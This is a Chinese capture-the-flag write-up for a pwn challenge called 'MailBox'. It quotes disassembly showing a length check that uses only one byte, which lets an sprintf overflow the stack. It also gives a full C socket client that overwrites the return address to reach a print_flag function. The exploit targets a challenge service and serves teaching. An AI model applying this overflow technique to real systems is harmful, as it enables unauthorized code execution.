MailBox Writeup(step1)

一道pwn。这题貌似是蓝莲花的题目=,=

先用连接上去看看,好像是个发送邮件的程序,有很多的字符串的输入,但是好像都是限制了长度了。长度限制一到就毫不留情的结束输入。
看不出什么,直接丢ida。
主要的代码都在main函数里面。相当坑爹的流程,慢慢理清楚吧。

溢出点是在sendmail函数里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

.text:08049362 mov dword ptr [esp], offset aTitle ; "Title:"

.text:08049369 call _printf
.text:0804936E mov dword ptr [esp+4], 0FFh ; a2
.text:08049376 mov eax, [ebp+title]
.text:08049379 mov [esp], eax ; a1
.text:0804937C call get_input
.text:08049381 mov dword ptr [esp], offset aTitle ; "Title:"
.text:08049388 call _printf
.text:0804938D mov eax, [ebp+title]
.text:08049390 mov [esp], eax ; format
.text:08049393 call _printf
.text:08049398 mov dword ptr [esp], 0Ah ; c
.text:0804939F call _putchar
.text:080493A4 mov dword ptr [esp], offset aBody ; "Body:"
.text:080493AB call _printf
.text:080493B0 mov dword ptr [esp+4], 0FFh ; a2
.text:080493B8 mov eax, [ebp+body]
.text:080493BB mov [esp], eax ; a1
.text:080493BE call get_input
.text:080493C3 mov [ebp+bodylength], 0
.text:080493C7 mov [ebp+titlelength], 0
.text:080493CB mov eax, [ebp+body]
.text:080493CE mov [esp], eax ; s
.text:080493D1 call _strlen ;这里返回输入的body的长度
.text:080493D6 mov [ebp+bodylength], al
.text:080493D9 mov eax, [ebp+title]
.text:080493DC mov [esp], eax ; s
.text:080493DF call _strlen ;这里是title的长度
.text:080493E4 mov [ebp+titlelength], al
.text:080493E7 movzx eax, [ebp+titlelength]
.text:080493EB movzx edx, [ebp+bodylength]
.text:080493EF add eax, edx
.text:080493F1 cmp al, 78h ;两个长度相加和78比较,过大则退出。
.text:080493F3 jle short loc_804940E

虽然有限制,但是不感觉al太小了吗?稍微构造一下body和title的长度。这个限制几乎没用。
这里有一段

1
2
3
4
.text:0804942A                 mov     dword ptr [esp+4], offset aInsertIntoInbo ; "insert into inbox "...
.text:08049432 lea eax, [ebp+bigsql]
.text:08049438 mov [esp], eax ; s
.text:0804943B call _sprintf

栈长度不够,可以构造溢出。然后程序中有打印flag的函数。

1
.text:08048BBD                 public print_flag

返回到这里就可以了。
然后因为输入中有用户名等等的,所以构造的参数有所不同。
主要是
'a'*220 + 0x08048BBD(函数地址)
至于怎么凑出220个字符就随意了。

给段代码。代码略长,会写的跳过吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133

#include<winsock2.h>
#include<stdio.h>
#include <Windows.h>

#pragma comment(lib,"ws2_32.lib")
int main (void)
{
int i;
WSADATA wsaData;
SOCKET sockClient;
SOCKADDR_IN addrServer;
char recvBuf[5000]={0};
char message[5000]={0};
WSAStartup(MAKEWORD(2,2),&wsaData);
sockClient=socket(AF_INET,SOCK_STREAM,0);

addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****");
addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7775);
connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//Login
message[0]='2';
message[1]='a';
send(sockClient,message,2,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//name
for(i=1;i<10;i++)
message[i-1]=i+48;
message[9]='0';
message[10]='1';
//message[11]=0x0a;
send(sockClient,message,11,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//pass
message[0]='1';
message[1]='2';
message[2]='3';
message[3]='4';
message[4]='5';
//message[5]='\n';
send(sockClient,message,5,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);


//send mail
message[0]='3';
message[1]='a';
send(sockClient,message,2,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//to
for(i=1;i<30;i++)
{
message[i-1]='a';
}
send(sockClient,message,29,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);


//title
for(i=1;i<250;i++)
{
message[i-1]='a';
}
message[119]=0xbd; //这里是返回值
message[120]=0x8b;
message[121]=0x04;
message[122]=0x08;
message[249]=0x0a;
send(sockClient,message,250,0);

Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//body
for(i=1;i<55;i++)
{ //凑点字符满足长度
message[i-1]='a';
}
message[54]=0x0a;
send(sockClient,message,55,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

closesocket(sockClient);
WSACleanup();
return 0;
}

啥,你说python,python是什么,能吃吗?

这题还有个step,分两部分吧。